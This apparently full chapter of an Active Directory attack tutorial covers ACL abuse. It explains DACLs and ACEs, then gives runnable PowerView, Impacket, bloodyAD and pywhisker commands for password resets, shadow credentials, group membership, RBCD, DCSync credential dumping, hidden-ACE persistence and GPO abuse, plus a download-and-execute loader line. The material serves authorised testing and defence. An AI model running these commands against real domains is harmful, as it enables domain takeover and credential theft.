ACL/ACE Abuse in Active Directory
This is Chapter 9 of the Active Directory attack notebook — Notebook 18. Chapter 8 dissected Kerberos delegation, and it ended on a primitive that quietly straddles two worlds: Resource-Based Constrained Delegation is configured entirely by writing a single attribute — msDS-AllowedToActOnBehalfOfOtherIdentity — on a computer object. Whether you can write that attribute is not a Kerberos question at all. It is an access-control question, decided by the object’s DACL. That is the bridge into this chapter.
Almost every “impossible” AD escalation you will ever see in BloodHound — user → GenericAll → group → GenericAll → user → DCSync → Domain Admin — is a chain of ACL abuses. Kerberoasting and delegation get the headlines, but in real engagements the shortest path to Domain Admin is far more often a misconfigured permission on an object than a crackable service ticket. An overworked admin delegates “reset passwords for the helpdesk group” a little too broadly; a legacy application service account was granted GenericAll on an OU a decade ago; a nested group membership means a contractor’s account effectively owns a Tier-0 group. None of that is a bug in Windows. It is Windows working exactly as designed, on top of permissions nobody audited.
This chapter teaches you to read the Active Directory permission model the way the operating system does, and then to weaponise every dangerous right in it. We start at the absolute bottom — what a security descriptor is, byte for byte in concept — and build up through DACLs, ACEs, SIDs, object-type GUIDs, and inheritance, until the cryptic output of Get-DomainObjectAcl reads like plain English. Then we turn each right into a repeatable attack, chain them the way BloodHound does, and finish with a full worked lab and a consolidated detection-and-defence section.
Why This Matters
Section titled “Why This Matters”ACL abuse is the connective tissue of AD attacks. Once you understand it, BloodHound stops being a magic oracle that spits out paths and becomes a tool whose every edge you can reproduce by hand — which matters enormously when SharpHound is blocked, when an edge is stale, or when you must explain to a client exactly why their intern can become Domain Admin. It is also the quietest form of persistence in the entire AD arsenal: a single hidden ACE on the domain root grants silent DCSync forever, survives password resets, and looks like nothing in most logs.
Who This Is For
Section titled “Who This Is For”You should have finished the earlier AD chapters — the assumed-breach mindset (Chapter 1), BloodHound/SharpHound (Chapter 2), enumeration with PowerView (Chapter 3), and ideally the delegation chapter (Chapter 8), since RBCD reappears here as an ACL primitive. You do not need to be a Windows internals expert; we rebuild the security model from scratch. Everything here is strictly for authorised engagements against systems you have written permission to test.
Part 1: The Windows Security Model — Securable Objects and Security Descriptors
Section titled “Part 1: The Windows Security Model — Securable Objects and Security Descriptors”Everything securable in Windows — a file, a registry key, a process, a service, and crucially every object in Active Directory (users, computers, groups, OUs, GPOs, the domain object itself) — carries a security descriptor (SD). The security descriptor is the single structure that answers the question “who is allowed to do what to me?”. When any principal (a user, a computer account, a service) tries to act on an object, the Windows access-check routine (AccessCheck) compares the principal’s access token against that object’s security descriptor and returns granted or denied.
A security descriptor has four meaningful parts for our purposes:
| Component | Full name | What it holds | Attacker interest |
|---|---|---|---|
| Owner | Owner SID | The SID of the object’s owner | The owner can always rewrite the DACL, regardless of the DACL. Owning an object = controlling it. |
| Group | Primary group SID | POSIX-era legacy, largely vestigial in AD | None practically |
| DACL | Discretionary Access Control List | The ordered list of ACEs granting/denying rights | This is the battlefield. Every abusable right lives here. |
| SACL | System Access Control List | Audit ACEs — what to log | Blue-team relevant; drives event 4662 |
In Active Directory the security descriptor is stored on each object in the nTSecurityDescriptor attribute. That attribute is a binary blob in SDDL-representable form (Security Descriptor Definition Language). You will rarely read the raw bytes; PowerView, dacledit.py, and BloodHound parse it for you. But you must understand what they are parsing.
Discretionary is the key word in DACL. It means the owner of the object gets to decide (at their discretion) who has access. That single design decision is why AD ACL abuse exists: if you can become the owner, or if you can edit the DACL, you decide who has access — including granting yourself everything.
flowchart TD
P[Principal tries an action<br/>e.g. write attribute on USER object] --> AC{AccessCheck}
SD[Target object security descriptor] --> AC
TOK[Principal access token<br/>user SID + group SIDs] --> AC
AC -->|Owner SID matches?| OWN[Owner implicitly may<br/>WRITE_DAC + READ_CONTROL]
AC -->|Walk DACL ACEs in order| WALK[Match SID + right?]
WALK -->|Explicit Deny hit| DENY[Access DENIED]
WALK -->|Allow covers right| GRANT[Access GRANTED]
WALK -->|No match at end| DENY2[Access DENIED default]
Security relevance: the access check walks ACEs in order, and an explicit Deny ACE that matches short-circuits to denied before any later Allow is considered. Canonical DACL ordering puts Deny ACEs before Allow ACEs, which is why a hand-crafted “deny everyone” ACE placed at the top is a classic (noisy) way to lock an object — and why defenders sometimes protect Tier-0 objects that way. As an attacker you mostly care about Allow ACEs that name your SID (directly or via a group you are in).
Part 2: Anatomy of an ACE — the Unit of Abuse
Section titled “Part 2: Anatomy of an ACE — the Unit of Abuse”An ACL is just an ordered list of ACEs (Access Control Entries). Each ACE is a small record that says, in effect, “this trustee (SID) is allowed/denied this access mask, optionally scoped to this object type, and this ACE inherits (or not) to children.”
There are several ACE types. Two matter constantly in AD:
ACCESS_ALLOWED_ACE— a plain “SID X is allowed access-mask M” with no object-type scoping. Grants the mask over the whole object.ACCESS_ALLOWED_OBJECT_ACE— the AD-specific variant that adds two GUIDs: an ObjectType GUID (which property, property-set, extended right, or child-object class this ACE applies to) and an InheritedObjectType GUID (which child object classes inherit it). This is how AD expresses fine-grained rights like “may write only thememberattribute” or “may perform only the DS-Replication-Get-Changes extended right.”
The access mask is a 32-bit field. The bits that matter to an attacker, and their SDDL/PowerView names:
| Right (mask) | SDDL | Meaning | Why it’s abusable |
|---|---|---|---|
GenericAll | GA | Full control — every right below | Total object takeover |
GenericWrite | GW | Write all non-protected attributes | Set SPNs (targeted Kerberoast), write RBCD, edit scripts |
WriteOwner | WO | Change the object’s Owner | Make yourself owner → then rewrite DACL |
WriteDacl | WD | Rewrite the object’s DACL | Grant yourself GenericAll |
WriteProperty | WP | Write a specific attribute (with ObjectType GUID) or all (without) | Add group members, set servicePrincipalName, set RBCD attr |
Self / ValidatedWrite | SW | Perform a validated write (e.g. self-membership, validated SPN/DNS) | Self-Membership = add self to group |
ExtendedRight / AllExtendedRights | CR | Perform control-access (extended) rights (with GUID) or all | DCSync, force password reset, read LAPS |
ReadProperty | RP | Read a specific attribute | Read ms-Mcs-AdmPwd (LAPS), gMSA blob |
CreateChild / DeleteChild | CC/DC | Create/delete child objects (with class GUID) | Add computer accounts to an OU, DCShadow prep |
Delete / DeleteTree | SD/DT | Delete the object / subtree | Destructive; rarely the goal |
The single most important mental model: the abusable rights fall into two categories. Some are whole-object rights (GenericAll, GenericWrite, WriteOwner, WriteDacl) that hand you broad control. Others are scoped object-rights, where the abuse depends entirely on the ObjectType GUID — the same ExtendedRight mask means “reset this user’s password” if the GUID is 00299570-... (User-Force-Change-Password) but means “replicate the whole directory” if the GUID is 1131f6aa-... (DS-Replication-Get-Changes). Reading the GUID is the difference between a nuisance and a domain takeover.
graph TD
ACE["ACCESS_ALLOWED_OBJECT_ACE"] --> T["Trustee SID<br/>(who is granted)"]
ACE --> M["Access Mask<br/>(what right)"]
ACE --> OT["ObjectType GUID<br/>(scoped to which<br/>attr / extended right)"]
ACE --> IOT["InheritedObjectType GUID<br/>(which child class inherits)"]
ACE --> F["Flags<br/>(inheritance, inherited)"]
M --> W["e.g. ExtendedRight (CR)"]
OT --> G1["1131f6aa-... = Get-Changes<br/>DCSync half"]
OT --> G2["00299570-... = Force-Change-Password<br/>password reset"]
The GUIDs you must recognise
Section titled “The GUIDs you must recognise”You do not memorise all of them, but a handful appear in nearly every engagement. Keep this table close:
| GUID (rightsGuid / schemaIDGUID) | Name | Abuse |
|---|---|---|
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | DS-Replication-Get-Changes | Half of DCSync |
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | DS-Replication-Get-Changes-All | Other half of DCSync (secrets) |
89e95b76-444d-4c62-991a-0facbeda640c | DS-Replication-Get-Changes-In-Filtered-Set | Sometimes needed for RODC-filtered attrs |
00299570-246d-11d0-a768-00aa006e0529 | User-Force-Change-Password | Reset a user’s password without knowing the old one |
bf9679c0-0de6-11d0-a285-00aa003049e2 | Member (attribute) | WriteProperty here = add/remove group members |
f3a64788-5306-11d1-a9c5-0000f80367c1 | Validated-SPN | ValidatedWrite here = set servicePrincipalName |
bf967a86-0de6-11d0-a285-00aa003049e2 | Computer (class) | CreateChild here = create computer objects in an OU |
3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 | ms-Mcs-AdmPwd (LAPS) | ReadProperty here = read local admin password |
Blue team usage: if you ever see a non-DC principal granted an ACE with ObjectType 1131f6aa and 1131f6ad on the domain head, that is a DCSync backdoor and one of the loudest indicators of compromise in AD. We return to detecting exactly this in Part 12.
Part 3: SIDs, Well-Known Principals, and Inheritance
Section titled “Part 3: SIDs, Well-Known Principals, and Inheritance”An ACE’s trustee is a SID (Security Identifier), not a name. S-1-5-21-<domain>-<RID> identifies a domain principal; the trailing RID tells you what it is (RID 500 = built-in Administrator, 512 = Domain Admins, 519 = Enterprise Admins, 502 = krbtgt). There are also well-known SIDs you must recognise in ACLs because they massively widen the blast radius of a right:
| SID | Principal | Why it matters in an ACE |
|---|---|---|
S-1-1-0 | Everyone | Literally all authenticated + anonymous depending on config |
S-1-5-11 | Authenticated Users | Every domain account — a right here is universal |
S-1-5-7 | Anonymous | Pre-auth; dangerous if it appears at all |
S-1-5-9 | Enterprise Domain Controllers | Legitimately holds the replication rights; anything else holding them is suspect |
S-1-5-32-544 | Builtin\Administrators | Local admin on the box |
...-512 / -519 / -518 | Domain Admins / Enterprise Admins / Schema Admins | Tier-0 |
Red team usage: an ACE granting a dangerous right to Authenticated Users or Everyone is a domain-wide primitive — any account you compromise, however low, inherits it. These are gold and BloodHound flags them as edges from the Everyone/Authenticated Users/Domain Users nodes.
Inheritance — where “who set this?” gets murky
Section titled “Inheritance — where “who set this?” gets murky”AD DACLs support inheritance. An ACE placed on an OU (or the domain object) with the “inherit to descendants” flag propagates to child objects. On the child, that ACE appears with the INHERITED flag set. This is how “Account Operators can manage users in the Staff OU” is expressed once, at the OU, and applies to every user beneath it.
Two consequences matter:
- When you enumerate a user’s DACL and see a dangerous ACE, check whether it is inherited (came from a parent OU) or explicit (set directly on the object). Inherited dangerous ACEs usually mean the misconfiguration lives on the OU and affects many objects — a bigger finding.
- AdminSDHolder / SDProp deliberately breaks inheritance on protected (Tier-0) accounts. We cover this in Part 12; for now know that “protected groups” (Domain Admins members, etc.) get their DACL overwritten every 60 minutes from a template object, and inheritance is disabled on them (
adminCount=1). ACL abuse against those objects is harder and shorter-lived — SDProp reverts your ACE.
flowchart TD
D[Domain root object] -->|inheritable ACE| OU1[OU=Staff]
OU1 -->|INHERITED ACE appears| U1[user: alice]
OU1 -->|INHERITED ACE appears| U2[user: bob]
subgraph Protected
DA[Domain Admins members] -.->|inheritance DISABLED<br/>adminCount=1| SDP[AdminSDHolder template]
SDP -->|SDProp overwrites DACL<br/>every ~60 min| DA
end
Part 4: Enumerating ACLs — PowerView From Scratch
Section titled “Part 4: Enumerating ACLs — PowerView From Scratch”Before we abuse anything we must see the ACLs. The primary Windows-side tool is PowerView.
What PowerView is
Section titled “What PowerView is”PowerView is a single PowerShell script (part of the PowerSploit / GhostPack lineage, now maintained across several forks) that wraps LDAP queries and Win32 calls into convenient cmdlets for AD reconnaissance and abuse. It needs no installation — you import the .ps1 and its functions are available. It runs as whatever user’s context the PowerShell session has, using integrated Windows auth over LDAP, so it is quiet-ish (it looks like normal LDAP traffic) but the script itself is heavily signatured by AV/EDR, so in practice you obfuscate it, run it in-memory, or use the C# equivalent (SharpView) or the cross-platform Linux tooling below.
Load it in-memory to avoid touching disk:
# In-memory load (no file written to disk)IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/PowerView.ps1')
# Or from a local copy in an authorised lab:. .\PowerView.ps1The core enumeration cmdlet: Get-DomainObjectAcl
Section titled “The core enumeration cmdlet: Get-DomainObjectAcl”Get-DomainObjectAcl -Identity "helpdesk" -ResolveGUIDs-Identity names the target object (sAMAccountName, DN, SID, or GUID). -ResolveGUIDs is essential — without it you get raw ObjectType GUIDs; with it, PowerView translates them into human names like User-Force-Change-Password. Sample output for a user who has been delegated password-reset rights:
AceQualifier : AccessAllowedObjectDN : CN=helpdesk,OU=IT,DC=corp,DC=localActiveDirectoryRights : ExtendedRightObjectAceType : User-Force-Change-PasswordObjectSID : S-1-5-21-1004336348-1177238915-682003330-1608SecurityIdentifier : S-1-5-21-1004336348-1177238915-682003330-2601AceType : AccessAllowedObjectAceFlags : ContainerInheritIsInherited : FalseRead it right-to-left: SecurityIdentifier (RID 2601 — who is granted) has ExtendedRight scoped to User-Force-Change-Password over ObjectSID (RID 1608 — whom they can reset). If RID 2601 is a user you control, you can reset RID 1608’s password.
The most useful hunting pattern is to flip the question: “which objects can the principals I control write to?” PowerView helps you resolve your own SID and group SIDs, then filter:
# Resolve who I am + my groups$me = Get-DomainUser -Identity (whoami /upn) -Properties objectsid,memberof
# Find every ACE across the domain where a dangerous right is granted to# a SID in my token, resolving GUIDs so we can read the right names.Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteOwner|WriteDacl|WriteProperty|Self|ExtendedRight' } | ? { $_.SecurityIdentifier -in $myTokenSids } | Select ObjectDN, ActiveDirectoryRights, ObjectAceType, SecurityIdentifierHelpful companions:
Convert-SidToName S-1-5-21-...-2601— turn a SID into a name.Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs | ? {$_.ObjectAceType -match 'Replication-Get-Changes'}— hunt DCSync ACEs on the domain head.Find-InterestingDomainAcl -ResolveGUIDs— PowerView’s built-in “show me ACEs where the trustee is a non-default, non-privileged principal”, i.e. suspicious delegated rights across the domain.
Enumerating from Linux — you rarely have a Windows box
Section titled “Enumerating from Linux — you rarely have a Windows box”On a modern engagement you are often on Kali with just credentials. Two workhorses:
Impacket dacledit.py reads and writes DACLs over LDAP:
# Read the DACL of the target, showing who has whatdacledit.py -action read -target "helpdesk" \ -principal '' corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10bloodyAD is a fast, purpose-built LDAP abuse tool:
# Show ACEs where lowpriv has write rights across the domainbloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ get writable --detailSample bloodyAD get writable output that immediately reveals a path:
distinguishedName: CN=IT Support,OU=Groups,DC=corp,DC=localpermission: WRITEattribute: member; WRITEOWNER: WRITEThat single block says: your user can write the member attribute of the IT Support group (add yourself) and you own it. Two independent takeover primitives on one object.
And BloodHound/SharpHound, covered in Chapter 2, is the tool that turns thousands of these ACEs into a graph and computes the shortest path from your foothold to Domain Admin. Everything in the rest of this chapter is “how do I manually walk one edge that BloodHound drew for me.”
Part 5: Abusing ForceChangePassword — Resetting a User
Section titled “Part 5: Abusing ForceChangePassword — Resetting a User”The simplest ACL win. If you hold the User-Force-Change-Password extended right (or GenericAll) over a user, you can set their password without knowing the current one. Immediately useful when the target is a service account, a more privileged user, or an account that is a member of an interesting group.
PowerView (Windows):
$newpass = ConvertTo-SecureString 'Str0ngP@ss!2024' -AsPlainText -ForceSet-DomainUserPassword -Identity 'svc_backup' -AccountPassword $newpass -VerboseExpected verbose output:
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_backup'VERBOSE: [Set-DomainUserPassword] Password for user 'svc_backup' successfully resetImpacket / net (Linux):
# Using Impacket's changepasswd (force reset via SAMR / LDAP)changepasswd.py -reset corp.local/svc_backup@10.10.10.10 \ -altuser corp.local/lowpriv -altpass 'Password123!' -newpass 'Str0ngP@ss!2024'
# Or bloodyAD, cleanest for LDAP:bloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ set password svc_backup 'Str0ngP@ss!2024'Operational caution — this is destructive and loud. Resetting a live account’s password breaks that user/service and generates event 4724 (an attempt was made to reset an account’s password). On engagements prefer this against dormant service accounts, or use a targeted Kerberoast instead (Part 6) which is far quieter. If you must reset a real account, note the value so you can restore it, and warn the client.
Bug bounty / CTF angle: on HackTheBox/TryHackMe AD boxes this is one of the most common intended paths — you land as a helpdesk-tier user who has ForceChangePassword over a more privileged account (e.g. HTB Forest/Sauna-style chains), reset it, then evil-winrm in.
Part 6: GenericWrite / GenericAll on a User — Targeted Kerberoast & Shadow Credentials
Section titled “Part 6: GenericWrite / GenericAll on a User — Targeted Kerberoast & Shadow Credentials”GenericWrite on a user does not let you reset their password (that is a control/validated right), but it lets you write their attributes — which is enough for two excellent, quieter takeovers.
6a. Targeted Kerberoasting (write an SPN)
Section titled “6a. Targeted Kerberoasting (write an SPN)”If a user has no SPN, write one to servicePrincipalName. That makes the account Kerberoastable (Chapter 4): request a service ticket, crack it offline, recover the plaintext — without touching their password. Then remove the SPN to clean up.
# Add a bogus SPN so the account becomes KerberoastableSet-DomainObject -Identity 'svc_sql' -Set @{serviceprincipalname='nonexistent/ATTACK'} -Verbose# Request + roast (Rubeus)Rubeus.exe kerberoast /user:svc_sql /nowrap# ...crack the returned $krb5tgs$ hash offline with hashcat -m 13100...# CleanupSet-DomainObject -Identity 'svc_sql' -Clear serviceprincipalname -VerboseLinux equivalent:
# Set SPN via LDAP then roast with ImpacketbloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ set object svc_sql servicePrincipalName -v 'nonexistent/ATTACK'GetUserSPNs.py corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10 -request-user svc_sqlThis is superior to a password reset: it does not lock the user out and it recovers the real password. The trade-off is that it only works if the password is crackable.
6b. Shadow Credentials (write msDS-KeyCredentialLink)
Section titled “6b. Shadow Credentials (write msDS-KeyCredentialLink)”The modern favourite. If the domain supports PKINIT (a KDC with a certificate — true in most modern domains, especially any with AD CS), you can add a key credential to the target’s msDS-KeyCredentialLink attribute. This attribute is where Windows Hello for Business stores public keys that map to an account. Add your own generated key pair, then authenticate as the target via PKINIT and pull their NT hash — no password change, fully reversible.
# pywhisker adds an attacker-controlled key credential to the targetpywhisker.py -d corp.local -u lowpriv -p 'Password123!' \ --target svc_sql --action add --dc-ip 10.10.10.10# outputs a .pfx and password. Then PKINIT with gettgtpkinit / certipy:gettgtpkinit.py -cert-pfx <file>.pfx -pfx-pass <pass> corp.local/svc_sql svc_sql.ccacheexport KRB5CCNAME=svc_sql.ccachegetnthash.py -key <AS-REP-key> corp.local/svc_sql # recover NT hash via U2UWhisker.exe is the Windows/C# equivalent (Whisker.exe add /target:svc_sql).
Red team usage: Shadow Credentials is preferred over ForceChangePassword whenever PKINIT is available because it is reversible, does not disrupt the account, and is quieter (no 4724). Blue team usage: monitor writes to msDS-KeyCredentialLink (event 5136 on that attribute) — a KeyCredentialLink appearing on a service account that has never used Windows Hello is a strong compromise signal.
flowchart LR
GW["GenericWrite / GenericAll<br/>over a USER"] --> A["Write servicePrincipalName<br/>targeted Kerberoast"]
GW --> B["Write msDS-KeyCredentialLink<br/>Shadow Creds -> PKINIT -> NT hash"]
GA2["GenericAll only"] --> C["User-Force-Change-Password<br/>reset password (loud)"]
A --> D["Compromise the target user"]
B --> D
C --> D
Part 7: Rights Over Groups — AddMember, WriteProperty(member), Self
Section titled “Part 7: Rights Over Groups — AddMember, WriteProperty(member), Self”Groups are the fastest privilege jump in AD because group membership is transitive: add yourself to IT Support, and if IT Support is nested inside Server Admins which is nested inside… you inherit everything up the chain. The relevant rights over a group object:
GenericAll/GenericWrite— write any attribute, includingmember.WritePropertyscoped to the Member attribute GUID (bf9679c0-...) — write only the membership. This is exactly what a delegated “manage this group” permission grants.Self/Self-Membership(AllowedToAct-style validated write) — add/remove only yourself. Common for self-service groups.
Adding yourself:
# PowerViewAdd-DomainGroupMember -Identity 'Server Admins' -Members 'lowpriv' -Verbose# ConfirmGet-DomainGroupMember -Identity 'Server Admins' | Select MemberName# bloodyADbloodyAD --host 10.10.10.10 -d corp.local -u lowpriv -p 'Password123!' \ add groupMember 'Server Admins' lowpriv
# Impacket net.pynet.py corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10 \ group -name 'Server Admins' -user lowpriv -addExpected confirmation and the event it fires:
[+] Adding user: lowpriv to group: Server Admins result: OKDomain Controller logs event 4728 (“A member was added to a security-enabled global group”). Clean up by removing yourself when done (Remove-DomainGroupMember), which fires 4729.
Nested-group gotcha: if the target group is a protected group (Domain Admins, Enterprise Admins, Account Operators, Backup Operators, etc.), AdminSDHolder/SDProp will not revert your membership (SDProp fixes DACLs, not membership) — but these groups are heavily monitored, and membership grants are the single most-alerted event in any SOC. Prefer jumping into a non-protected group that nonetheless has strong effective rights (e.g. a group with local admin on a Tier-0 server, or a group holding DCSync).
CTF angle: many boxes are solved by WriteProperty(member) on a group that has WinRM/local-admin on the next host — e.g. adding yourself to Remote Management Users then evil-winrm.
Part 8: Rights Over Computers — RBCD and LAPS
Section titled “Part 8: Rights Over Computers — RBCD and LAPS”Computer objects are accounts too, and rights over them unlock two of the strongest primitives in modern AD.
8a. RBCD from a computer-object write (the ACL to delegation bridge)
Section titled “8a. RBCD from a computer-object write (the ACL to delegation bridge)”If you have GenericWrite/GenericAll/WriteProperty over a computer object, you can write its msDS-AllowedToActOnBehalfOfOtherIdentity attribute — configuring Resource-Based Constrained Delegation inbound to that computer. You point it at a computer account you control, then use S4U2Self+S4U2Proxy to impersonate any user (e.g. Administrator) to services on the target — yielding a SYSTEM shell. Chapter 8 covered the Kerberos mechanics; here is the ACL-driven setup.
You need a controlled computer account. If ms-DS-MachineAccountQuota > 0 (default 10), any domain user can create one:
# 1. Create a computer account we control (uses default MachineAccountQuota)addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'Attack123!' \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10
# 2. Write RBCD on the TARGET computer, delegating to ATTACKPC$rbcd.py -delegate-to 'TARGET$' -delegate-from 'ATTACKPC$' -action write \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10
# 3. Abuse S4U to impersonate Administrator to CIFS on the targetgetST.py -spn 'cifs/target.corp.local' -impersonate Administrator \ corp.local/'ATTACKPC$':'Attack123!' -dc-ip 10.10.10.10export KRB5CCNAME=Administrator@cifs_target.corp.local@CORP.LOCAL.ccache
# 4. Use the ticket — dump secrets / get SYSTEMsecretsdump.py -k -no-pass target.corp.localSample step-2 output confirming the DACL write:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty[*] Delegation rights modified successfully![*] ATTACKPC$ can now impersonate users on TARGET$ via S4U2ProxyPowerView/Windows equivalent uses Set-DomainRBCD or a raw Set-DomainObject ... msds-allowedtoactonbehalfofotheridentity.
8b. Read LAPS via ReadProperty
Section titled “8b. Read LAPS via ReadProperty”If you have ReadProperty (or GenericAll) over a computer and the domain uses LAPS, you can read the randomised local administrator password stored in ms-Mcs-AdmPwd (legacy LAPS) or msLAPS-Password (Windows LAPS). That is instant local admin on the box.
Get-DomainObject -Identity 'TARGET$' -Properties 'ms-Mcs-AdmPwd','ms-Mcs-AdmPwdExpirationTime'# NetExec module, reads LAPS for every computer you're allowed to readnxc ldap 10.10.10.10 -u lowpriv -p 'Password123!' -M lapsflowchart LR
W["Write rights over a COMPUTER object"] --> R["Write msDS-AllowedToActOnBehalf...<br/>(RBCD)"]
R --> S4U["S4U2Self + S4U2Proxy<br/>impersonate Administrator"]
S4U --> SYS["SYSTEM shell / secretsdump"]
RD["ReadProperty over a COMPUTER"] --> LAPS["Read ms-Mcs-AdmPwd (LAPS)"]
LAPS --> LA["Local admin password -> login"]
Part 9: WriteOwner and WriteDacl — Rewriting Control Itself
Section titled “Part 9: WriteOwner and WriteDacl — Rewriting Control Itself”These two are the “meta” rights: they do not directly do anything to the object’s function, but they let you grant yourself the rights that do.
WriteOwner → become owner → rewrite DACL
Section titled “WriteOwner → become owner → rewrite DACL”The owner of an object implicitly holds WRITE_DAC and READ_CONTROL regardless of the DACL. So if you can change the owner (WriteOwner), set yourself as owner, and then, as owner, add a GenericAll ACE for yourself.
# 1. Take ownershipSet-DomainObjectOwner -Identity 'svc_admin' -OwnerIdentity 'lowpriv' -Verbose# 2. Now grant yourself full controlAdd-DomainObjectAcl -TargetIdentity 'svc_admin' -PrincipalIdentity 'lowpriv' -Rights All -Verbose# 3. Now do whatever (reset password / shadow creds / add SPN)Linux:
# 1. Take ownershipowneredit.py -action write -new-owner lowpriv -target svc_admin \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10# 2. Grant GenericAll via dacleditdacledit.py -action write -rights FullControl -principal lowpriv -target svc_admin \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10WriteDacl → grant yourself GenericAll directly
Section titled “WriteDacl → grant yourself GenericAll directly”If you already have WriteDacl you skip the ownership step and add the ACE directly:
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity 'lowpriv' -Rights All -Verbosedacledit.py -action write -rights FullControl -principal lowpriv -target 'Domain Admins' \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10The most valuable single target is the domain object itself (DC=corp,DC=local). WriteDacl on the domain head lets you grant yourself the two replication extended rights → DCSync (Part 10) → every hash in the domain. This is also the premier persistence technique: a lone inherited-looking ACE granting lowpriv GenericAll or the two Get-Changes rights on the domain root is nearly invisible and grants forever-DCSync.
Cleanup matters here. Add-DomainObjectAcl fires event 5136 (directory object modified) on the nTSecurityDescriptor. Record the SDDL before you change it and restore it after (Remove-DomainObjectAcl) so the DACL returns to its original state.
flowchart TD
WO["WriteOwner"] --> OWN["Set self as Owner"]
OWN --> WDAC["Owner implicitly has WRITE_DAC"]
WD["WriteDacl"] --> WDAC
WDAC --> ADD["Add GenericAll ACE for self"]
ADD --> ANY["Full control: password reset,<br/>shadow creds, add member, RBCD..."]
ADD -->|on domain root| DCS["Grant Get-Changes + Get-Changes-All<br/>DCSync"]
Part 10: The Crown Jewel — DCSync via Replication ACEs
Section titled “Part 10: The Crown Jewel — DCSync via Replication ACEs”DCSync (covered as a technique in Chapter 7) is, at its core, an ACL abuse. The MS-DRSR replication protocol lets a principal ask a DC “replicate the secrets of account X to me.” The DC allows it if the requesting principal holds two extended rights on the domain object:
- DS-Replication-Get-Changes (
1131f6aa-...) - DS-Replication-Get-Changes-All (
1131f6ad-...)
(Filtered-set is sometimes needed too.) Legitimately, only DCs (S-1-5-9) and specific admin groups hold these. Grant them to yourself via WriteDacl on the domain root, and you can replicate krbtgt, every user’s NT hash, and mint Golden Tickets forever.
Grant + execute:
# Grant the two replication rights to lowpriv on the domain headdacledit.py -action write -rights DCSync -principal lowpriv -target-dn 'DC=corp,DC=local' \ corp.local/lowpriv:'Password123!' -dc-ip 10.10.10.10
# Now replicate krbtgt (and everything)secretsdump.py corp.local/lowpriv:'Password123!'@10.10.10.10 -just-dc-user krbtgtExpected secretsdump output:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretscorp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5e4a...c9f1:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:9d8f...PowerView grant + Mimikatz DCSync:
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity 'lowpriv' ` -Rights DCSync -Verbose# then:lsadump::dcsync /domain:corp.local /user:krbtgtBlue team usage / detection preview: DCSync from a non-DC IP is detectable via event 4662 with the replication GUIDs in the Properties field, and via network monitoring of DRSUAPI (DsGetNCChanges) from non-DC hosts. The granting of the rights is event 5136 on the domain object’s nTSecurityDescriptor — catching that is even better because it catches the persistence before it’s used.
Part 11: GPO Abuse and OU-Level ACLs
Section titled “Part 11: GPO Abuse and OU-Level ACLs”ACL abuse is not limited to individual accounts. Two container-level cases are devastating:
11a. Editing a linked GPO
Section titled “11a. Editing a linked GPO”A Group Policy Object is an AD object (under CN=Policies,CN=System) plus a folder in SYSVOL. If you have GenericWrite/GenericAll/WriteProperty over a GPO that is linked to an OU containing users or computers, you can push a policy (immediate scheduled task, startup script, add-local-admin) that executes on every object in that OU — often including servers or even DCs (Default Domain Controllers Policy).
# pyGPOAbuse adds an immediate scheduled task to a writable GPOpygpoabuse.py corp.local/lowpriv:'Password123!' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \ -command 'net localgroup administrators lowpriv /add' -dc-ip 10.10.10.10SharpGPOAbuse.exe is the Windows equivalent (--AddLocalAdmin, --AddUserRights, --AddComputerTask). Enumerate which OUs a GPO applies to first — the value is proportional to what the GPO touches. BloodHound’s GPOAppliesTo/GpLink edges show this.
11b. CreateChild on an OU
Section titled “11b. CreateChild on an OU”CreateChild for the computer class on an OU lets you create computer objects there — useful when MachineAccountQuota is 0 but you have this delegated right, enabling the RBCD chain of Part 8. CreateChild/WriteProperty combos on OUs can also enable DCShadow setup (Chapter 7).
| Container right | Where | Turns into |
|---|---|---|
| GenericAll / WriteDacl on OU | OU | Push inheritable ACE → control every child object |
| WriteProperty(GpLink) on OU | OU | Link a malicious GPO you created |
| GenericWrite on GPO | GPO object | Immediate task / startup script on all linked objects |
| CreateChild(computer) on OU | OU | Create computer account (RBCD source) |
Red team usage: editing an OU’s DACL to add an inheritable GenericAll for a benign-looking principal is stealthy, broad persistence — every current and future child object inherits your control.
Part 12: Read-Only ACL Wins — gMSA Passwords and AD CS Enrollment Rights
Section titled “Part 12: Read-Only ACL Wins — gMSA Passwords and AD CS Enrollment Rights”Not every abusable ACE is a write. Some of the most valuable are read rights over attributes that hold secrets, and some live on objects most attackers forget are securable — certificate templates.
12a. ReadGMSAPassword — ReadProperty on msDS-ManagedPassword
